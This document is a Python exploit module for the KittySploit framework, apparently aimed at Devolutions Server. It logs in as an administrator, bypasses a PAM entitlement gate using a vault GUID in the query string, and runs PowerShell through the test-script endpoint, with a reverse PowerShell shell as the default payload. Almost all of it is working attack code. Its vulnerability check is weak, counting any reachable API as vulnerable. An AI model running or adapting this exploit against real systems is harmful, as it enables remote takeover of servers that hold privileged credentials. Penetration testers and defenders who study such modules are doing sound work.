Devolutions Server test-script PAM gate bypass RCE

"""Devolutions Server PAM gate bypass + test-script PowerShell SYSTEM RCE."""
from __future__ import annotations
import json
import re
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Devolutions Server test-script PAM gate bypass RCE', 'description': 'Administrator login then POST /api/pam/provider-templates/test-script with PamSystemVault GUID in query bypasses entitlement gate and runs PowerShell.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/reverse_powershell', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['devolutions', 'dvls', 'rce', 'pam'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/dvls_pam_gate_testscript_system_rce_detect']}}}
    _PAM_SYSTEM_VAULT_ID = 'ff7b757a-cdca-4a11-9dc6-d59989647279'
    port = OptPort(9444, 'DVLS HTTP port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('admin', 'Administrator username', required=True)
    password = OptString('', 'Administrator password', required=True)

    def _login_token(self) -> str:
        payload = {'UserName': str(self.username or 'admin'), 'LoginParameters': {'Password': str(self.password or ''), 'AuthenticationMethod': 0, 'UseWindowsAuthentication': False, 'UseAzureADAuthentication': False, 'UseEmergencyCodeAuthentication': False, 'DomainId': '00000000-0000-0000-0000-000000000000'}}
        resp = self.http_request('POST', '/api/login', json=payload)
        if not resp or int(resp.status_code or 0) != 200:
            return ''
        try:
            body = resp.json()
        except Exception:
            return ''
        if isinstance(body.get('data'), dict) and body['data'].get('tokenId'):
            return str(body['data']['tokenId'])
        return str(body.get('tokenId') or '')

    @staticmethod
    def _ps_wrapper(cmd: str) -> str:
        safe = cmd.replace("'", "''")
        return f"Start-Process -FilePath cmd.exe -ArgumentList '/c {safe}' -Wait -WindowStyle Hidden"

    def execute(self, cmd: str) -> str:
        token = self._login_token()
        if not token:
            return 'login failed — check credentials'
        script = self._ps_wrapper(cmd)
        path = f'/api/pam/provider-templates/test-script?{self._PAM_SYSTEM_VAULT_ID}=1'
        resp = self.http_request('POST', path, json={'Script': script, 'CustomCredential': None, 'Arguments': [], 'UseNewWinRm': True}, headers={'tokenId': token})
        if not resp:
            return 'test-script request failed'
        return f"HTTP {resp.status_code}\n{(resp.text or '')[:4000]}"

    def check(self):
        resp = self.http_request('GET', '/api/login')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'DVLS API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'DVLS not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set administrator password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Bypassing PAM gate → test-script')
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search('reverse|powershell|/dev/tcp|nc ', shell, re.I))
        return True if blind else True